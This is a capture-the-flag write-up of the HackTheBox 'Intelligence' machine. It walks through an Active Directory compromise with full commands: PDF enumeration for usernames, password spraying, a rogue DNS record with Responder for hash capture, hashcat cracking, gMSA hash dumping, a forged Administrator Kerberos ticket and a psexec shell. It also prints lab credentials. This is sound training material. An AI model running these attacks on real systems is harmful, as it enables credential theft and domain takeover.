Blog Intelligence - HackTheBox
Post
Cancel

Intelligence - HackTheBox

This HackTheBox can be found here.

Intelligence is included in TJnull’s OSCP, OSEP, and OSWE list.

Recon

Like always, we’ll start with a Nmap scan:

1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.10.248
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Nmap scan report for 10.10.10.248
Host is up (0.030s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-04 22:21:54Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2023-12-04T22:23:23+00:00; +6h59m58s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-12-04T22:23:24+00:00; +6h59m58s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2023-12-04T22:23:23+00:00; +6h59m58s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2023-12-04T22:23:24+00:00; +6h59m58s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
| smb2-time:
|   date: 2023-12-04T22:22:44
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled and required


We see that the machine is named dc and in a domain named intelligence.htb. Let’s add these to our /etc/hosts file:

1
2
echo '10.10.10.248 intelligence.htb' | sudo tee -a /etc/hosts
echo '10.10.10.248 dc.intelligence.htb' | sudo tee -a /etc/hosts


Most of the ports are standard for a Domain Controller. Port 5985 is open, so we know we can use WinRM to connect once we have credentials. Let’s start by looking at port 80.

First look at the web page


This webapp has a form to subscribe (that doesn’t send any data), and there is a link to two documents:

  • http://dc.intelligence.htb/documents/2020-12-15-upload.pdf
  • http://dc.intelligence.htb/documents/2020-01-01-upload.pdf

Trying to hit http://dc.intelligence.htb/documents/ gives us a 403 Forbidden error.

Initial Foothold

If we download a PDF, we can run exiftool against it and see a username within the Creator field:

Exiftool against PDF


We can see that the documents have a naming convention of YYYY-MM-DD-upload.pdf so let’s try to brute force the dates and see if there is anything else hidden. To do this, I wrote a quick python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import urllib.request
from datetime import datetime, date, timedelta
from PyPDF2 import PdfReader
from io import BytesIO

date = "2020-01-01"
users = []
urls = []
latin = ["dolorem","est","sed","modi"]


while True:
    date = datetime.strptime(str(date),'%Y-%m-%d').date()
    try:
        # The initial request
        contents = urllib.request.urlopen("http://dc.intelligence.htb/documents/" + str(date) + "-upload.pdf").read()

        # Grab the Author from the metadata
        replace_tex = str(contents).find("/Creator (") + 10
        start = str(contents).find("/Creator (", replace_tex + 1) + 10
        leftover = str(contents)[start:]
        end = leftover.find(")")
        author = (leftover[:end])
        print("http://dc.intelligence.htb/documents/" + str(date) + "-upload.pdf   Author: " + author)

        # Write the Author to a file
        if (author not in users):
            users.append(author)
            f = open('users.txt', 'a+')
            f.write(author + "\n")
            f.close

        # Write the URL to a file
        f = open('urls.txt', 'a+')
        f.write("http://dc.intelligence.htb/documents/" + str(date) + "-upload.pdf\n")
        f.close

        # Check the PDF contents. Filters out most docs containing just Latin
        bytes=BytesIO(contents)
        reader = PdfReader(bytes)
        page = reader.pages[0]
        page_text = page.extract_text()

        if any(x in page_text for x in latin):
            pass
        else:
            print(page_text)

    # If the URL doesn't exist, pass
    except urllib.error.HTTPError:
        pass

    # Increment by one day
    date = date + timedelta(days=1)


This script will attempt to grab a PDF by incrementing the date by one day. If it finds a PDF, it will grab the Author and save it to a file named users.txt. It writes out valid URL’s found to urls.txt Lastly, it will print the text of the PDF if it doesn’t contain any latin words specified in the latin list.

We can run it and see what it finds:

1
python3 dates.py

running the script


Once the script hits http://dc.intelligence.htb/documents/2021-03-27-upload.pdf, you can ctrl+c it to exit. It turns out there were a lot of hidden documents, 30 unique users, and we also see that user’s initial password is NewIntelligenceCorpUser9876.

There is also a note from IT:

Notice from IT


I first checked for AS-REP roasting since we have a user list, but no user has the UF_DONT_REQUIRE_PREAUTH flag set. Next, we can try to password spray our users.txt list with the default password. I’ll use metasploit for this:

1
2
3
4
5
6
7
msfconsole
use auxiliary/scanner/smb/smb_login
set RHOSTS dc.intelligence.htb
set SMBDomain intelligence.htb
set USER_FILE users.txt # from the python script
set SMBPass NewIntelligenceCorpUser9876
run

password spraying


We found a valid account: intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

Using SMBClient, we can list the shares:

1
smbclient -U intelligence.htb/Tiffany.Molina%NewIntelligenceCorpUser9876 -L \\\\dc.intelligence.htb
1
2
3
4
5
6
7
8
9
Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        IT              Disk
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
        Users           Disk


If we connect to the Users share, we can grab the user.txt flag located at \Tiffany.Molina\Desktop\user.txt

1
smbclient -U intelligence.htb/Tiffany.Molina%NewIntelligenceCorpUser9876 \\\\dc.intelligence.htb\\Users

getting the user flag


Privilege Escalation

Looking at the IT share, there is one file called downdetector.ps1. We can download it to analyze:

1
2
3
4
5
6
7
8
9
10
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
  try {
    $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
    if(.StatusCode -ne 200) {
      Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
    }
   } catch {}
}


The above script is pulling all DNS records from LDAP if the name starts with web. It then attempts to connect to each of them (using credentials) and will email Ted Graves if the host is down. If we can add a DNS record that points to us, we can use Responder to grab hashed creds. To add the record, I’ll use dnstool.py from krbrelayx:

1
2
# Make sure to swap out the -d flag with your IP
python3 dnstool.py -dns-ip 10.10.10.248 -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a add -t A -d 10.10.14.8 -r web-test dc.intelligence.htb

dnstool


Start up responder, and you should the NTLMv2 hash for Ted.Graves:

1
sudo responder -I tun0

grabbing a hash


Let’s save the hash to a file and throw hashcat at it:

1
sudo hashcat -m 5600 ted.hash /usr/share/wordlists/rockyou.txt

Cracking is successful, and we have Ted’s password: 'Mr.Teddy':

cacking ted's hash


Earlier, I ran ldapdomaindump as Tiffany.Molina and saw that Ted.Graves is a member of the IT Support group. We can run the bloodhound.py ingestor as Ted.Graves to see our AD permissions:

1
python3 bloodhound.py -d intelligence.htb -u Ted.Graves -p 'Mr.Teddy' -ns 10.10.10.248 --zip -c All


Once we have the zip, we can start neo4j and import it to bloodhound. Looking at the IT Support group, we can see a path to escalate. IT Support has ReadGMSAPassword permissions on the SVC_INT account and that service account has constrained delegation over the Domain controller.

Let’s first run gMSADumper.py to grab the NT hash for SVC_INT:

1
2
3
git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
python3 gMSADumper.py -d intelligence.htb -u Ted.Graves -p 'Mr.Teddy' -l 10.10.10.248

reading nt hash


Now that we have the hash, we can use GetST.py to grab an impersonated ticket for the administrator:

1
2
3
4
5
# I had clock skew issues, so I first had to sync with the DC
sudo ntpdate 10.10.10.248

# Grab the ticket
python3 getST.py -spn www/dc.intelligence.htb -impersonate Administrator -hashes :d4a0554f26a9f3df13720481e07e0a3f -dc-ip 10.10.10.248 intelligence.htb/svc_int

admin ticket


Next, we need to set the KRB5CCNAME environment variable to the ticket we just grabbed:

1
export KRB5CCNAME=<path to the Administrator.ccache>


To finish this box, we can use impacket’s psexec.py to get an Admin shell (using the -k flag for Kerberos auth) and grab the root flag

1
python3 psexec.py -k dc.intelligence.htb

admin shell

root flag


Takeaway

This was a fun box that had a “CTF’y” challenge (brute forcing the PDF’s) while also having a realistic path with the AD privesc. I love how we are seeing more and more Active Directory environments (even though it’s just a single DC) on free boxes compared to only getting this practice by purchasing a paid lab.

Contents